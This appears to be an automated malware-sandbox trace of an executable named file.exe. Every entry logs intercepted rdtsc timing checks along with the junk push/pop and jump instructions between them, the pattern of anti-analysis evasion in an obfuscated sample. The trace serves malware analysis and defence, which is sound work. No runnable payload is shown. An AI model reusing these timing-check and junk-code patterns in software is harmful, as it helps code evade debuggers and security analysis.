Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A2589 second address: 11A258E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A270F second address: 11A2713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A2713 second address: 11A2719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A2719 second address: 11A272F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F020CB267EEh 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A84CF second address: 11A84D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A6FFA second address: 11A7023 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F020CB267F8h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop ecx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e js 00007F020CB267ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A7023 second address: 11A7041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F020CB28458h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A742A second address: 11A7432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A75AF second address: 11A75B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A784E second address: 11A7855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A7855 second address: 11A7867 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB2844Dh 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A79BF second address: 11A79F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F2h 0x00000007 jmp 00007F020CB267EBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jmp 00007F020CB267F0h 0x00000013 pop eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A79F6 second address: 11A79FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A7C9C second address: 11A7CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A7DEC second address: 11A7DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A7DF0 second address: 11A7DF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A7F6C second address: 11A7F75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11A8349 second address: 11A8380 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267F7h 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jmp 00007F020CB267F0h 0x00000011 popad 0x00000012 jo 00007F020CB26801h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11AD981 second address: 11AD987 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11AD987 second address: 11AD994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F020CB267E8h 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11AD994 second address: 11AD99A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11AD99A second address: 11AD9B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F020CB267EBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 ja 00007F020CB267E6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11AD9B8 second address: 11AD9BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11ADB1A second address: 11ADB26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F020CB267E6h 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11ADB26 second address: 11ADB37 instructions: 0x00000000 rdtsc 0x00000002 js 00007F020CB28446h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11ADB37 second address: 11ADB4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267EEh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11B35B6 second address: 11B35BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11B39C4 second address: 11B39C9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11B9FD1 second address: 11B9FE1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jc 00007F020CB28446h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11B9FE1 second address: 11B9FE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11B9FE9 second address: 11B9FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BA3FB second address: 11BA403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BA403 second address: 11BA409 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BA409 second address: 11BA411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BA5A3 second address: 11BA5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F020CB28446h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BA737 second address: 11BA744 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F020CB267E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BA744 second address: 11BA767 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F020CB28446h 0x00000008 jmp 00007F020CB28454h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BD783 second address: 11BD789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BD789 second address: 11BD795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BD8CA second address: 11BD8CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BD8CF second address: 11BD8D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BD8D5 second address: 11BD8D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11BD8D9 second address: 11BD8DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11C458B second address: 11C458F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11C4B54 second address: 11C4B58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11C4DE5 second address: 11C4DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11C4DEA second address: 11C4E3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB28454h 0x00000008 jmp 00007F020CB28454h 0x0000000d jl 00007F020CB28446h 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 jmp 00007F020CB28457h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11C4E3A second address: 11C4E4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F020CB267EFh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11C4E4F second address: 11C4E64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F020CB28450h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11C4E64 second address: 11C4E6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11C4E6A second address: 11C4E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11CA9D8 second address: 11CA9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11CDAC5 second address: 11CDAE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28457h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11CDE9B second address: 11CDEA0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11CE267 second address: 11CE26D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D72B2 second address: 11D72B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D72B8 second address: 11D72BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D72BC second address: 11D72C6 instructions: 0x00000000 rdtsc 0x00000002 je 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D72C6 second address: 11D72D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB2844Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D72D9 second address: 11D72DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D58F6 second address: 11D5905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D5905 second address: 11D590F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F020CB267E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D5FB0 second address: 11D5FE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F020CB28455h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F020CB2844Ch 0x00000011 ja 00007F020CB28446h 0x00000017 pop ebx 0x00000018 push edi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F020CB2844Ch 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D5FE9 second address: 11D5FEF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D6A22 second address: 11D6A2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11D6A2D second address: 11D6A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11DEDD7 second address: 11DEE0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F020CB28446h 0x0000000a jmp 00007F020CB2844Eh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F020CB28457h 0x00000017 js 00007F020CB28446h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11DEE0F second address: 11DEE25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267ECh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11DEE25 second address: 11DEE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11DEE2B second address: 11DEE2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11DEE2F second address: 11DEE56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007F020CB28455h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 je 00007F020CB28446h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11EEC61 second address: 11EEC78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F2h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11EE83B second address: 11EE842 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11EE842 second address: 11EE84D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11F02A9 second address: 11F02B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ecx 0x00000006 jnl 00007F020CB28446h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11F02B7 second address: 11F02E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jg 00007F020CB26801h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11F35D2 second address: 11F35D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11F35D6 second address: 11F35DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11F35DC second address: 11F35EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11F35EB second address: 11F3605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F020CB267F2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11F3605 second address: 11F360B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11F360B second address: 11F361A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jg 00007F020CB267E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11F361A second address: 11F3633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F020CB28446h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push edx 0x0000000e push ebx 0x0000000f pushad 0x00000010 popad 0x00000011 push esi 0x00000012 pop esi 0x00000013 pop ebx 0x00000014 push edi 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11FD737 second address: 11FD741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 11FD741 second address: 11FD749 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1201E1E second address: 1201E4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F020CB267EFh 0x0000000d jns 00007F020CB267E6h 0x00000013 pop edx 0x00000014 popad 0x00000015 jnc 00007F020CB267FCh 0x0000001b push eax 0x0000001c push edx 0x0000001d jng 00007F020CB267E6h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1201E4D second address: 1201E51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 112541F second address: 1125423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1201CC0 second address: 1201CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12097B7 second address: 12097BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 111649E second address: 11164A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 120CFC5 second address: 120CFD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267ECh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 120CFD5 second address: 120CFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1223F8D second address: 1223FA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jnc 00007F020CB267E6h 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1225725 second address: 1225730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F020CB28446h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12331BC second address: 12331C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12331C0 second address: 12331C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12331C9 second address: 12331D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F020CB267E6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12331D5 second address: 12331DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 12331DA second address: 12331F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267EFh 0x00000009 jl 00007F020CB267E6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 1235F11 second address: 1235F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124F16C second address: 124F170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 124F170 second address: 124F176 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
